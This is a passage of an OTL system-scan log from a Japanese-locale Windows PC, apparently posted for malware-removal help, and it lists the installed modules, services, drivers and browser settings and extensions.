MOD - [2014/10/16 22:09:08 | 014,340,096 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\PresentationFramewo#\1f539baa94516139240877cb6afd72c2\PresentationFramework.ni.dll
MOD - [2014/10/16 22:09:01 | 012,435,968 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\1453d9e9a4989833ef3db4b22549ba1a\System.Windows.Forms.ni.dll
MOD - [2014/10/16 22:08:57 | 001,593,344 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\836e10dfd0811b303553216f5cb092ef\System.Drawing.ni.dll
MOD - [2014/10/16 22:08:55 | 005,467,648 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\d49908aa93a23c84847b1f8b1b667860\System.Xml.ni.dll
MOD - [2014/10/16 22:08:53 | 012,236,800 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\PresentationCore\3d4f835b8078dacc8d5da623e2c3f0ee\PresentationCore.ni.dll
MOD - [2014/10/16 22:08:47 | 003,348,480 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\WindowsBase\d97a5aa0eb7697aca7c6e90ae471af2b\WindowsBase.ni.dll
MOD - [2014/10/16 22:08:46 | 007,991,808 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System\908ba9e296e92b4e14bdc2437edac603\System.ni.dll
MOD - [2014/10/12 12:18:59 | 011,497,984 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
MOD - [2014/06/23 19:19:58 | 000,867,080 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\UNO\UNO.dll
MOD - [2014/01/10 14:28:18 | 000,100,688 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdateCheck.dll
MOD - [2014/01/10 14:26:44 | 001,861,968 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
MOD - [2013/12/10 16:39:42 | 000,721,920 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_ssl.pyd
MOD - [2013/12/10 16:39:42 | 000,285,184 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_hashlib.pyd
MOD - [2013/12/10 16:39:42 | 000,074,240 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_ctypes.pyd
MOD - [2013/12/10 16:39:42 | 000,040,960 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_socket.pyd
MOD - [2013/09/05 00:14:10 | 004,300,456 | ---- | M] () -- C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Cultures\OFFICE.ODF
MOD - [2013/03/05 12:40:16 | 000,626,240 | ---- | M] () -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMediaLibrary.dll
MOD - [2013/03/05 11:41:36 | 000,015,424 | ---- | M] () -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvcPS.dll
MOD - [2012/02/14 16:16:08 | 000,598,016 | ---- | M] () -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\ja-JP\SBRcni.resources.dll
MOD - [2010/11/13 09:00:19 | 000,348,160 | ---- | M] () -- C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_ja_b77a5c561934e089\mscorlib.resources.dll


[color=#E56717]========== Services (SafeList) ==========[/color]

SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,366,512 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Program Files\Microsoft Security Client\NisSrv.exe -- (NisSrv)
SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,023,784 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Microsoft Security Client\MsMpEng.exe -- (MsMpSvc)
SRV:[b]64bit:[/b] - [2015/01/12 11:34:30 | 000,114,688 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\IEEtwCollector.exe -- (IEEtwCollectorService)
SRV:[b]64bit:[/b] - [2014/04/30 03:49:46 | 002,517,792 | ---- | M] () [Auto | Running] -- C:\Windows\SysNative\nvwmi64.exe -- (NVWMI)
SRV:[b]64bit:[/b] - [2013/05/27 14:50:47 | 001,011,712 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Windows Defender\MpSvc.dll -- (WinDefend)
SRV:[b]64bit:[/b] - [2013/02/09 03:30:42 | 000,359,664 | ---- | M] (Logitech, Inc.) [On_Demand | Stopped] -- C:\Program Files\Common Files\LogiShrd\Bluetooth\LBTServ.exe -- (LBTServ)
SRV:[b]64bit:[/b] - [2009/07/14 10:40:01 | 000,193,536 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\appmgmts.dll -- (AppMgmt)
SRV - [2015/02/18 21:24:32 | 002,635,552 | ---- | M] (IObit) [Auto | Stopped] -- C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe -- (LiveUpdateSvc)
SRV - [2014/07/03 02:02:36 | 000,113,152 | ---- | M] (Creative Technology Ltd) [Auto | Running] -- C:\Windows\SysWOW64\CtHdaSvc.exe -- (CtHdaSvc)
SRV - [2014/04/30 01:40:40 | 000,413,128 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe -- (Stereo Service)
SRV - [2014/04/11 23:08:08 | 000,103,608 | ---- | M] (Microsoft Corporation) [Auto | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -- (clr_optimization_v4.0.30319_32)
SRV - [2014/03/21 07:49:18 | 000,067,224 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe -- (clr_optimization_v2.0.50727_32)
SRV - [2013/12/19 00:41:02 | 030,814,400 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- D:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE -- (Microsoft SharePoint Workspace Audit Service)
SRV - [2013/10/27 09:34:23 | 000,079,360 | ---- | M] (Creative Labs) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\CTAELicensing.exe -- (Creative Audio Engine Licensing Service)
SRV - [2013/10/27 09:34:14 | 000,079,360 | ---- | M] (Creative Labs) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\AL6Licensing.exe -- (Creative ALchemy AL6 Licensing Service)
SRV - [2013/05/31 16:23:36 | 000,652,640 | R--- | M] (cFos Software GmbH) [Auto | Running] -- D:\Program Files\ASRock\XFast LAN\spd.exe -- (cFosSpeedS)
SRV - [2013/04/04 14:50:32 | 000,701,512 | ---- | M] (Malwarebytes Corporation) [Auto | Running] -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamservice.exe -- (MBAMService)
SRV - [2013/04/04 14:50:32 | 000,418,376 | ---- | M] (Malwarebytes Corporation) [Auto | Running] -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamscheduler.exe -- (MBAMScheduler)
SRV - [2013/02/17 12:18:06 | 000,137,336 | ---- | M] (Futuremark Corporation) [On_Demand | Stopped] -- C:\Program Files (x86)\Futuremark\Futuremark SystemInfo\FMSISvc.exe -- (Futuremark SystemInfo Service)
SRV - [2013/01/07 00:40:00 | 004,713,360 | ---- | M] (INCA Internet Co., Ltd.) [On_Demand | Stopped] -- C:\Windows\SysWOW64\GameMon.des -- (npggsvc)
SRV - [2012/03/22 21:11:28 | 000,825,032 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtService.exe -- (CsrBtService)
SRV - [2012/03/22 21:11:16 | 001,041,616 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtOBEXService.exe -- (CsrBtOBEXService)
SRV - [2012/03/22 21:11:08 | 000,465,624 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtAudioService.exe -- (CSRBtAudioService)
SRV - [2012/03/22 21:11:00 | 000,064,216 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\BtSwitcherService.exe -- (BtSwitcherService)
SRV - [2011/12/01 10:07:20 | 000,423,424 | ---- | M] (Creative Technology Ltd) [Auto | Running] -- C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe -- (CTAudSvcService)
SRV - [2010/02/19 13:37:14 | 000,517,096 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe -- (SwitchBoard)


[color=#E56717]========== Driver Services (SafeList) ==========[/color]

DRV:[b]64bit:[/b] - [2014/12/31 08:54:48 | 000,585,944 | ---- | M] (Realtek Semiconductor Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\RtkBtfilter.sys -- (RtkBtFilter)
DRV:[b]64bit:[/b] - [2014/11/15 14:46:08 | 000,124,560 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\NisDrvWFP.sys -- (NisDrv)
DRV:[b]64bit:[/b] - [2014/07/28 14:52:00 | 000,054,784 | ---- | M] (Apple, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\usbaapl64.sys -- (USBAAPL64)
DRV:[b]64bit:[/b] - [2014/07/03 02:02:34 | 001,060,120 | ---- | M] (Creative Technology Ltd) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\cthda.sys -- (cthda)
DRV:[b]64bit:[/b] - [2014/05/02 09:17:59 | 000,032,320 | ---- | M] (FNet Co., Ltd.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\FNETTBOH_305.SYS -- (FNETTBOH_305)
DRV:[b]64bit:[/b] - [2014/05/02 09:10:50 | 000,016,648 | ---- | M] (FNet Co., Ltd.) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\FNETURPX.SYS -- (FNETURPX)
DRV:[b]64bit:[/b] - [2014/04/30 03:49:46 | 000,197,408 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\nvhda64v.sys -- (NVHDA)
DRV:[b]64bit:[/b] - [2013/10/02 11:22:20 | 000,056,832 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbFlt.sys -- (TsUsbFlt)
DRV:[b]64bit:[/b] - [2013/09/04 14:07:06 | 002,056,192 | ---- | M] (Creative Technology Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ksaud.sys -- (ksaud)
DRV:[b]64bit:[/b] - [2013/07/25 16:53:46 | 000,023,040 | ---- | M] (Apple Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\netaapl64.sys -- (Netaapl)
DRV:[b]64bit:[/b] - [2013/05/31 16:23:40 | 001,814,880 | ---- | M] (cFos Software GmbH) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\cfosspeed6.sys -- (cFosSpeed)
DRV:[b]64bit:[/b] - [2013/04/04 14:50:32 | 000,025,928 | ---- | M] (Malwarebytes Corporation) [File_System | On_Demand | Running] -- C:\Windows\SysNative\drivers\mbam.sys -- (MBAMProtector)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,079,240 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LEqdUsb.sys -- (LEqdUsb)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,077,192 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LHidFilt.Sys -- (LHidFilt)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,061,832 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LMouFilt.Sys -- (LMouFilt)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,015,752 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LHidEqd.sys -- (LHidEqd)
DRV:[b]64bit:[/b] - [2012/09/10 03:22:06 | 000,243,712 | ---- | M] (Realtek Semiconductor Corp.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\RtsUStor.sys -- (RSUSBSTOR)
DRV:[b]64bit:[/b] - [2012/08/23 23:10:20 | 000,019,456 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\rdpvideominiport.sys -- (RdpVideoMiniport)
DRV:[b]64bit:[/b] - [2012/08/21 13:01:20 | 000,033,240 | ---- | M] (GEAR Software Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\GEARAspiWDM.sys -- (GEARAspiWDM)
DRV:[b]64bit:[/b] - [2012/08/09 17:03:06 | 000,034,640 | ---- | M] (ASRock Inc.) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\AsrRamDisk.sys -- (AsrRamDisk)
DRV:[b]64bit:[/b] - [2012/08/07 17:45:30 | 000,026,072 | ---- | M] (Intel Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\iaStorF.sys -- (iaStorF)
DRV:[b]64bit:[/b] - [2012/08/07 17:45:28 | 000,575,448 | ---- | M] (Intel Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\iaStorA.sys -- (iaStorA)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:36 | 000,023,752 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrusbfilter.sys -- (csrusbfilter)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:34 | 000,047,296 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrusb.sys -- (csrusb)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:32 | 000,061,128 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrserial.sys -- (csrserial)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:30 | 000,039,616 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrpan.sys -- (csrpan)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:26 | 000,038,080 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrhfgcc.sys -- (csrhfgcc)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:22 | 002,784,968 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\CsrBtPort.sys -- (CsrBtPort)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:20 | 000,099,520 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrbthav.sys -- (csr_bthav)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:18 | 000,039,120 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\CsrBthAudioHF.sys -- (CsrBthAudioHF)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:16 | 000,026,304 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csravrcp.sys -- (csravrcp)
DRV:[b]64bit:[/b] - [2012/03/01 15:46:16 | 000,023,408 | ---- | M] (Microsoft Corporation) [Recognizer | Boot | Unknown] -- C:\Windows\SysNative\drivers\fs_rec.sys -- (Fs_Rec)
DRV:[b]64bit:[/b] - [2011/12/26 21:37:42 | 000,090,608 | ---- | M] (CyberLink) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\CLVirtualDrive.sys -- (CLVirtualDrive)
DRV:[b]64bit:[/b] - [2011/11/07 10:13:06 | 000,017,192 | ---- | M] (Windows (R) Win 7 DDK provider) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\AsrAppCharger.sys -- (AsrAppCharger)
DRV:[b]64bit:[/b] - [2011/11/03 03:01:00 | 000,056,208 | ---- | M] (Rovi Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\PxHlpa64.sys -- (PxHlpa64)
DRV:[b]64bit:[/b] - [2011/09/22 09:49:56 | 000,056,600 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\HECIx64.sys -- (MEIx64)
DRV:[b]64bit:[/b] - [2011/06/17 21:16:02 | 000,405,064 | ---- | M] (Texas Instruments Incorporated) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\tixhci.sys -- (tixhci)
DRV:[b]64bit:[/b] - [2011/06/17 21:16:02 | 000,131,656 | ---- | M] (Texas Instruments Incorporated) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\tihub3.sys -- (tihub3)
DRV:[b]64bit:[/b] - [2011/05/09 20:42:14 | 000,425,000 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\k57nd60a.sys -- (k57nd60a)
DRV:[b]64bit:[/b] - [2011/03/11 15:41:12 | 000,107,904 | ---- | M] (Advanced Micro Devices) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsata.sys -- (amdsata)
DRV:[b]64bit:[/b] - [2011/03/11 15:41:12 | 000,027,008 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\amdxata.sys -- (amdxata)
DRV:[b]64bit:[/b] - [2011/01/26 17:11:06 | 000,023,048 | ---- | M] (ASRock Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\AsrVDrive.sys -- (AsrVDrive)
DRV:[b]64bit:[/b] - [2010/11/20 22:33:35 | 000,078,720 | ---- | M] (Hewlett-Packard Company) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\HpSAMD.sys -- (HpSAMD)
DRV:[b]64bit:[/b] - [2009/07/20 05:11:18 | 000,021,392 | ---- | M] (kasiwano masahiro) [Kernel | Auto | Stopped] -- C:\Windows\SysNative\drivers\uusbd64.sys -- (UUSBD64)
DRV:[b]64bit:[/b] - [2009/07/14 10:52:20 | 000,194,128 | ---- | M] (AMD Technologies Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsbs.sys -- (amdsbs)
DRV:[b]64bit:[/b] - [2009/07/14 10:48:04 | 000,065,600 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\lsi_sas2.sys -- (LSI_SAS2)
DRV:[b]64bit:[/b] - [2009/07/14 10:45:55 | 000,024,656 | ---- | M] (Promise Technology) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\stexstor.sys -- (stexstor)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:33 | 003,286,016 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\evbda.sys -- (ebdrv)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:28 | 000,468,480 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\bxvbda.sys -- (b06bdrv)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:23 | 000,270,848 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\b57nd60a.sys -- (b57nd60a)
DRV:[b]64bit:[/b] - [2009/06/11 05:31:59 | 000,031,232 | ---- | M] (Hauppauge Computer Works, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\hcw85cir.sys -- (hcw85cir)
DRV:[b]64bit:[/b] - [2009/02/24 18:35:44 | 000,255,552 | ---- | M] (MagicISO, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\mcdbus.sys -- (mcdbus)
DRV:[b]64bit:[/b] - [2009/02/19 15:07:50 | 000,058,752 | ---- | M] (ASICEN) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\Sknet_AS11Loader.sys -- (AS11Loader)
DRV:[b]64bit:[/b] - [2008/05/21 11:16:18 | 000,028,032 | ---- | M] (ASICEN) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\SKNET_HDTV_IR.sys -- (SKNET_ISDB_P_HidIRKbd.Dev)
DRV - [2014/06/23 16:29:48 | 000,032,456 | ---- | M] (CyberLink Corp.) [2015/01/31 10:42:38] [Kernel | Auto | Running] -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\NavFilter\000.fcl -- ({C5F942FD-1110-4664-86CE-0C6BDA305235})
DRV - [2009/07/14 10:19:10 | 000,019,008 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysWOW64\drivers\wimmount.sys -- (WIMMount)
DRV - [2009/02/24 18:35:44 | 000,255,552 | ---- | M] (MagicISO, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysWOW64\drivers\mcdbus.sys -- (mcdbus)


[color=#E56717]========== Standard Registry (SafeList) ==========[/color]


[color=#E56717]========== Internet Explorer ==========[/color]

IE:[b]64bit:[/b] - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE:[b]64bit:[/b] - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\SysWOW64\blank.htm
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.msn.com/?pc=MSSE
IE - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC
IE - HKLM\..\SearchScopes\{E627DC4B-8C04-4234-A2D4-1D634EE01C41}: "URL" = http://www.bing.com/search?q={searchTerms}&form=MSSEDF&pc=MSSE


IE - HKU\.DEFAULT\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

IE - HKU\S-1-5-18\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

IE - HKU\S-1-5-19\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}

IE - HKU\S-1-5-20\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}

IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = Preserve
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.msn.com/?pc=MSSE
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://jp.msn.com/?ocid=iehp
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = ja
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE8SRC
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\..\SearchScopes\{0DFB3912-0E32-4e72-86D8-2119CD4508FE}: "URL" = http://www.google.com/custom?client=pub-3794288947762788&forid=1&channel=5480255188&ie=UTF-8&oe=UTF-8&safe=active&cof=GALT%3A%23008000%3BGL%3A1%3BDIV%3A%23336699%3BVLC%3A663399%3BAH%3Acenter%3BBGC%3AFFFFFF%3BLBGC%3A336699%3BALC%3A0000FF%3BLC%3A0000FF%3BT%3A000000%3BGFNT%3A0000FF%3BGIMP%3A0000FF%3BFORID%3A1&hl=ja&q={searchTerms}
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

[color=#E56717]========== FireFox ==========[/color]

FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:26.0
FF - user.js - File not found

FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\@divx.com/DivX VOD Helper,version=1.0.0: C:\Program Files\DivX\DivX OVS Helper\npovshelper.dll (DivX, LLC.)
FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\@microsoft.com/OfficeAuthz,version=14.0: C:\PROGRA~1\MICROS~3\Office14\NPAUTHZ.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=: File not found
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=1.0: C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll ()
FF - HKLM\Software\MozillaPlugins\@divx.com/DivX VOD Helper,version=1.0.0: C:\Program Files (x86)\DivX\DivX OVS Helper\npovshelper.dll (DivX, LLC.)
FF - HKLM\Software\MozillaPlugins\@divx.com/DivX Web Player Plug-In,version=1.0.0: C:\Program Files (x86)\DivX\DivX Web Player\npdivx32.dll (DivX, LLC)
FF - HKLM\Software\MozillaPlugins\@java.com/DTPlugin,version=10.25.2: C:\Windows\SysWOW64\npDeployJava1.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/OfficeAuthz,version=14.0: D:\PROGRA~1\MICROS~1\Office14\NPAUTHZ.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/SharePoint,version=14.0: D:\PROGRA~1\MICROS~1\Office14\NPSPWRAP.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@nvidia.com/3DVision: C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll (NVIDIA Corporation)
FF - HKLM\Software\MozillaPlugins\@nvidia.com/3DVisionStreaming: C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll (NVIDIA Corporation)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Program Files (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Program Files (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll (Google Inc.)

FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\Extensions\\{F003DA68-8256-4b37-A6C4-350FA04494DF}: C:\Program Files\Logicool\SetPointP\LogiSmoothFirefoxExt [2013/03/20 20:22:19 | 000,000,000 | ---D | M]

[2014/01/01 09:11:13 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Tomohiko\AppData\Roaming\mozilla\Extensions
[2015/02/21 09:42:30 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Tomohiko\AppData\Roaming\mozilla\Firefox\Profiles\s0lzp1yr.default\extensions
[2015/02/21 09:42:32 | 000,000,000 | ---D | M] (No name found) -- C:\Users\Tomohiko\AppData\Roaming\mozilla\Firefox\Profiles\s0lzp1yr.default\extensions\staged
[2013/04/14 11:48:31 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files (x86)\Mozilla Firefox\extensions

[color=#E56717]========== Chrome ==========[/color]

CHR - plugin: Error reading preferences file
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_1\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_1\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.20_1\
